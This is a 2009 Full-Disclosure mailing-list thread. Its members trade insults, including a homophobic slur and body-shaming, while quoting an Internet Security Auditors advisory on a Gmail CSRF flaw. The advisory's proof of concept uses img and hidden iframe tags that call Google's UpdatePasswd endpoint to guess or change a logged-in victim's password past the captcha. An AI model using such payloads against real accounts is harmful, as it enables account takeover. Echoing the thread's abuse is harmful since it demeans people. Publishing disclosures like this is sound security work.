Date: Wed, 04 Mar 2009 19:44:04 -0500
From: bobby.mugabe@...hmail.com
To: full-disclosure@...ts.grok.org.uk, jstarks440@...il.com
Subject: Re: Apple Safari ... DoS Vulnerability

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Mr. Stark,

You're body fat seems to be fairly high, you should consider a
cutting phase and quitting the muscle milk and whatever cheap
steroids you use.  Your looking like a fat dumb homosexual in those
tights.  Someone with you're levels of insecurity shouldn't be in
computer security.

- -bm

On Wed, 04 Mar 2009 16:44:50 -0500 Jason Starks
<jstarks440@...il.com> wrote:
>Ah, probably not. Your stringing together words to make sentences
>is what
>I'll regret reading. I'll continue to use my muscle milk and
>you'll continue
>to work your 9-5. The world turns once again!
>
>On Wed, Mar 4, 2009 at 4:06 PM, Valdis' Mustache <
>security.mustache@...il.com> wrote:
>
>> Mister Snarks,
>>
>> I've never been anything but who I purport to be, the humble
>upper
>> facial hair quadrant of a loquacious sysadmin. Low of birth,
>though
>> noble in aspiration, a student of history and of the many
>mustaches
>> who came before myself.
>>
>> You, young scholar, should be wary, though! Prospective
>employers do
>> make regular use of search engines, "googling" potential
>candidates to
>> gain insight into possible character flaws!
>>
>> True, your clean and jerk abilities as archived on the YouTube
>are
>> admirable, but acting a fool on security lists is something
>normally
>> reserved only for those in academia, who are markedly difficult
>if not
>> impossible to unseat from their comfortable chairs, as
>indisputably
>> underscored by the e-antics of this mutache's owner, and, of
>course,
>> Mssr. Schmehl.
>>
>> You'll come to regret your lack of anonymity, as your posts will
>live
>> on for eternity, much as I've came to regret my unfortunate
>> association with the unruly beardlike growth connecting to me
>from the
>> south, and my unavoidable tenuous connection with those
>objectionable
>> and uncouth sideburns.
>>
>>
>> Your humble servant,
>> I baffi di Valdis
>>
>> On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks
><jstarks440@...il.com>
>> wrote:
>> > I know, its insane. It is a new trend, though, just like
>people
>> registering
>> > gmail accounts just to flame and troll on FD!
>> >
>> > Its like, your credability like, goes like, ok you start like
>at 0, and
>> then
>> > like, it goes like to -1, and like, then even lower like.
>> >
>> > Absolutely genius.
>> >
>> > x0x0x0x0x0x0x0x0x0x
>> >
>> > On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee
><biz.marqee@...il.com> wrote:
>> >>
>> >> This was 2 years well spent... NOT!
>> >>
>> >> Seriously what is with all these people popping up releasing
>advisories
>> >> that are absolute SHIT? Is it to try and get jobs or what?
>> >>
>> >>
>> >> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security
>Advisories <
>> >> advisories at isecauditors.com> wrote:
>> >>
>> >> > =============================================
>> >> > INTERNET SECURITY AUDITORS ALERT 2007-003
>> >> > - Original release date: August 1st, 2007
>> >> > - Last revised: January 11th, 2009
>> >> > - Discovered by: Vicente Aguilera Diaz
>> >> > - Severity: 3/5
>> >> > =============================================
>> >> >
>> >> > I. VULNERABILITY
>> >> > -------------------------
>> >> > CSRF vulnerability in GMail service
>> >> >
>> >> > II. BACKGROUND
>> >> > -------------------------
>> >> > Gmail is Google's free webmail service. It comes with built-
>in Google
>> >> > search technology and over 2,600 megabytes of storage (and
>growing
>> >> > every day). You can keep all your important messages, files
>and
>> >> > pictures forever, use search to quickly and easily find
>anything
>> >> > you're looking for, and make sense of it all with a new way
>of viewing
>> >> > messages as part of conversations.
>> >> >
>> >> > III. DESCRIPTION
>> >> > -------------------------
>> >> > Cross-Site Request Forgery, also known as one click attack
>or session
>> >> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a
>kind of
>> >> > malicious exploit of websites. Although this type of attack
>has
>> >> > similarities to cross-site scripting (XSS), cross-site
>scripting
>> >> > requires the attacker to inject unauthorized code into a
>website,
>> >> > while cross-site request forgery merely transmits
>unauthorized
>> >> > commands from a user the website trusts.
>> >> >
>> >> > GMail is vulnerable to CSRF attacks in the "Change
>Password"
>> >> > functionality. The only token for authenticate the user is
>a session
>> >> > cookie, and this cookie is sent automatically by the
>browser in every
>> >> > request.
>> >> >
>> >> > An attacker can create a page that includes requests to the
>"Change
>> >> > password" functionality of GMail and modify the passwords
>of the users
>> >> > who, being authenticated, visit the page of the attacker.
>> >> >
>> >> > The attack is facilitated since the "Change Password"
>request can be
>> >> > realized across the HTTP GET method instead of the POST
>method that is
>> >> > realized habitually across the "Change Password" form.
>> >> >
>> >> > IV. PROOF OF CONCEPT
>> >> > -------------------------
>> >> > 1. An attacker create a web page "csrf-attack.html" that
>realize many
>> >> > HTTP GET requests to the "Change Password" functionality.
>> >> >
>> >> > For example, a password cracking of 3 attempts (see
>"OldPasswd"
>> >> > parameter):
>> >> > ...
>> >> > <img
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <img
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <img
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > ...
>> >> >
>> >> > or with hidden frames:
>> >> > ...
>> >> > <iframe
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <iframe
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <iframe
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > ...
>> >> >
>> >> > The attacker can use deliberately a weak new password (see
>"Passwd"
>> >> > and "PasswdAgain" parameters), this way he can know if the
>analysed
>> >> > password is correct without need to modify the password of
>the victim
>> >> > user.
>> >> >
>> >> > Using weak passwords the "Change Password" response is:
>> >> >  - " The password you gave is incorrect. ", if the analysed
>password
>> >> > is not correct.
>> >> >  - " We're sorry, but you've selected an insecure password.
>In order
>> >> > to protect the security of your account, please click
>"Password
>> >> > Strength" to get tips on choosing to safer password. ", if
>the
>> >> > analysed password is correct and the victim password is not
>modified.
>> >> >
>> >> > If the attacker want to modify the password of the victim
>user, the
>> >> > waited response message is: " Your new password has been
>saved - OK ".
>> >> >
>> >> > In any case, the attacker evades the restrictions imposed
>by the
>> >> > captcha of the authentication form.
>> >> >
>> >> > 2. A user authenticated in GMail visit the "csrf-
>attack.html" page
>> >> > controlled by the attacker.
>> >> >
>> >> > For example, the attacker sends a mail to the victim (a
>GMail account)
>> >> > and provokes that the victim visits his page (social
>engineering). So,
>> >> > the attacker insures himself that the victim is
>authenticated.
>> >> >
>> >> > 3. The password cracking is executed transparently to the
>victim.
>> >> >
>> >> > V. BUSINESS IMPACT
>> >> > -------------------------
>> >> > - Selective DoS on users of the GMail service (changing
>user
>> password).
>> >> > - Possible access to the mail of other GMail users.
>> >> >
>> >> > VI. SYSTEMS AFFECTED
>> >> > -------------------------
>> >> > Gmail service.
>> >> >
>> >> > VII. SOLUTION
>> >> > -------------------------
>> >> > No solution provided by vendor.
>> >> >
>> >> > VIII. REFERENCES
>> >> > -------------------------
>> >> > http://www.gmail.com
>> >> >
>> >> > IX. CREDITS
>> >> > -------------------------
>> >> > This vulnerability has been discovered and reported by
>> >> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot)
>com).
>> >> >
>> >> > X. REVISION HISTORY
>> >> > -------------------------
>> >> > July      31, 2007: Initial release
>> >> > August     1, 2007: Fewer corrections.
>> >> > December  30, 2008: Last details.
>> >> >
>> >> > XI. DISCLOSURE TIMELINE
>> >> > -------------------------
>> >> > July      30, 2007: Vulnerability acquired by
>> >> >                    Internet Security Auditors.
>> >> > August     1, 2007: Initial notification sent to the
>> >> >                    Google security team.
>> >> > August     1, 2007: Google security team request additional
>> >> >                    information.
>> >> >                    about and start review the
>vulnerability.
>> >> > August    13, 2007: Request information about the status.
>> >> > August    15, 2007: Google security team responds that they
>are still
>> >> >                    working on this.
>> >> > September 19, 2007: Request for the status. No response.
>> >> > November  26, 2007: Request for the status. No response.
>> >> > January    2, 2008: Request for the status. No response.
>> >> > January    4, 2008: Request for the status. No response.
>> >> > January   11, 2008: Request for the status. No response.
>> >> > January   15, 2008: Request for the status. Automated
>response.
>> >> > January   18, 2008: Google security team informs that don't
>expect
>> >> >                    behaviour to change in the short term
>giving
>> >> >                    the justification.
>> >> >                    We deconstruct those arguments as
>insufficient.
>> >> >                    No more responses.
>> >> > December  30, 2008: Request for the status. Confirmation
>from Google
>> >> >                    they won't change the consideration
>about this.
>> >> > January   11, 2009: Publication to Bugtraq. Rejected twice.
>> >> >                    No reasons.
>> >> > March     03, 2009: General publication for disclosure in
>other lists.
>> >> >
>> >> > XII. LEGAL NOTICES
>> >> > -------------------------
>> >> > The information contained within this advisory is supplied
>"as-is"
>> >> > with no warranties or guarantees of fitness of use or
>otherwise.
>> >> > Internet Security Auditors accepts no responsibility for
>any damage
>> >> > caused by the use or misuse of this information.
>> >> >
>> >> > _______________________________________________
>> >> > Full-Disclosure - We believe in it.
>> >> > Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >> > Hosted and sponsored by Secunia - http://secunia.com/
>> >> >
>> >>
>> >> _______________________________________________
>> >> Full-Disclosure - We believe in it.
>> >> Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>>
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--
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_______________________________________________
Full-Disclosure - We believe in it.
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